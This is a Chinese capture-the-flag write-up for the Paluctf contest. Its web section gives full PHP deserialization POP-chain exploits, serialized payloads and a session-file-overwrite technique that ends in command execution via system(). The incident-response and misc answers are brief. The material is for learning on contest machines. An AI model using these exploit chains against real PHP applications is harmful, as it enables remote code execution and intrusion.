帕鲁杯
这个帕鲁杯主要考的是应急响应,本人是一点不会,所以就写了几题web(写了前三题感觉难度不是特别大)和最简单的几题应急响应,由于其是靶机代理的形式搞得web靶机,web靶机一直掉(扫后台还慢)所以我web最后一题就懒的写了,就去玩应急响应了。
web-签到
1 | from flask import Flask, request, jsonify |
签到题难度不高。1
2
3
4
5
6
7
8
9def getinfo():
url = request.args.get('url')
if url:
# 请求url
response = requests.get(url)
content = response.text
print(content)
if "paluctf" in content:
return flag
思路
我们可以看到只要让其访问的url响应里有paluctf就可以了。
一开始我是想ssrf来访问127.0.0.1的80端口的但是一直报错,所以我就直接开了vps服务让其访问,反正只要报文里只要有paluctf就行了。
实践
由于本人还不会再vps上搭网站,但是问题不大可以直接创建一个文件名为paluctf的文件,再开启访问使其可以再公网上被访问这样响应就会有paluctf了1
2echo aaaa > paluctf
python3 -m http.server
直接让其访问
payload1
url=http://xxx.xxx.xxx.xxx:8000
即可得到flag
R23
1 |
|
难度也不高,一个反序列化,只禁了R:2和R:3(和没禁一样)
思路
明显是要触发xk的love函数,但是我们需要尝试绕过wakeup。1
2
3
4
5
6
7
8
9class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
我们先讲一下什么是引用
如下代码1
$a=&$c
这个就代表了$a
是$c
的引用,即他们指向同一个内存,即他们的值会一直相同改a的值c会变反之亦然。
链子很短1
b->a->xk
看到这个第一眼就感觉可以使用引用来绕过,在反序列化时会先调用wakeup然后才会调用destruct$a
我们看到c会被赋值为no那么我们只要使用引用江c设置为b的引用,那么在后一句对b的赋值时就会成功再一次的对c赋值。这样我们触发destruct时c就为a的值我们可以将啊设置为对象。
exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class a{
public $b;
public function __get($a){
$this->b->love();
}
}
class b{
public $a;
public $b;
public $c;
public $name="aaa";
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public $a;
public function love(){
}
}
$a=new b();
$a->a=new a();
$a->c=&$a->b;
$a->a->b=new xk();
$a->a->b->a="ls";
$b=serialize($a);
echo $b;
由于其只禁了R2R3
我们只要在属性b前面对塞几个属性,即可以变成R5R6之类的反正属性也没什么用
my love
哈哈这题就有意思了,写这题的时候学到了一些关于php session的知识。知道了php的session竟然是以文件的形式进行存储的。下面的学习的文章我就直接贴出来了。phpsession1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class a{
public function __get($a){
$this->b->love();
}
}
class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}
if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}
}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}
打开会发现其发生了phpinfo的泄露(但其实没这个必要以为反序列化都可以看到的,直接把题目逼格下一个档次)。那我们能看到信息可就多了。
我们先审计一下这个代码,还是反序列化,但是主要考点是一下这串代码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16if(isset($_GET['pop']))
{
unserialize($_GET['pop']);
if(preg_match("/N$/",$_GET['test'])){
$tmp = $_GET['test'];
}
}
else{
show_source(__FILE__);
phpinfo();
}
if($$tmp['name']=='your are good!'){
echo 'ok!';
system($_GET['shell']);
}
可以发现其要求$_GET['test']
的最后一个字符为N,而后赋值给$tmp
,最后判断$$tmp['name']=='your are good!'
我们可以发现其存在变量覆盖,我们只要将$tmp
赋值为_SESSION那么$$tmp[name]
就是超全局变量$_SESSION[name]
而这个值时存储在文件里的,只要能对文件进行修改那么就可以修改$_SESSION[name]
的值。
那么我们看一下反序列化的部分1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32class a{
public function __get($a){
$this->b->love();
}
}
class b{
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}
class end{
public function love(){
($this->func)();
}
}
可以发现其存在下面两个类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16class xk{
public function love(){
$a = $this->mylove;
}
public function __get($a){
if(preg_match("/\.|\.php/",$this->man)){
die("文件名不能有.");
}
file_put_contents($this->man,base64_decode($this->woman));
}
}·
class end{
public function love(){
($this->func)();
}
}
xk类存在一个文件写入函数
end类可以触发一个无参函数。
而要开启session需要使用session_start函数
那么思路就很清楚了
就是先反序列化触发sessionstart再抓包查看PHPSESSID,然后触发文件写入函数来修改session文件(文件内容我们可以再本地自己定义一个$_SESSION[name]=your are good!)
,session文件名为sess加上PHPSESEID,之后就是向tmp传入_SESSION,这样就可以通过前面的判断进行命令执行了。
下面是两个pop链的构造exp,构造难度不高考点和上一题一样我就不过多赘述了
触发session_start()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class a{
public $b;
public function __get($a){
$this->b->love();
}
}
class b{
public $name;
public $a;
public $b;
public $c;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public $man="/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";
public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';
public function love(){
$a = $this->mylove;
}
}
class end{
public $func;
public function love(){
($this->func)();
}
}
$a=new b();
$a->c=&$a->b;
$a->a=new a();
$a->name="lalala";
$a->a->b=new end();
$a->a->b->func="session_start";
$b=serialize($a);
echo $b;
unserialize($b);
文件写入1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class a{
public $b;
public function __get($a){
$this->b->love();
}
}
class b{
public $name;
public $a;
public $b;
public $c;
public function __destruct(){
$tmp = $this->c->name;
}
public function __wakeup(){
$this->c = "no!";
$this->b = $this->a;
}
}
class xk{
public $man="/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";
public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';
public function love(){
$a = $this->mylove;
}
}
class end{
public $func;
public function love(){
($this->func)();
}
}
$a=new b();
$a->c=&$a->b;
$a->a=new a();
$a->name="lalala";
$a->a->b=new xk();
$b=serialize($a);
echo $b;
unserialize($b);
之后就是按之前的思路来打了。
文件写入的内容如下1
name|s:14:"your are good!";base64编码后就是bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7
payload1
2
3
4
5O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}
O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":2:{s:3:"man";s:52:"/var/lib/php/session/sess_84k8e3r5jr78om8diig6uia9br";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}
O:1:"b":4:{s:4:"name";s:6:"lalala";s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}&test=_SESSION&shell=tac%20flag.php
应急响应-1
在标签列表里有flag
应急响应-3
服务器的命令记录全是这个ip
应急响应-4
我们看waf的拦截记录可以明显发现这是一个rce漏洞
在网上搜jumpserver rce漏洞就可以找到这个cve
Misc-签到
题目有提示,是ascii码值
我们将给的数字转为16进制在用网上现成的工具即可得到下面的结果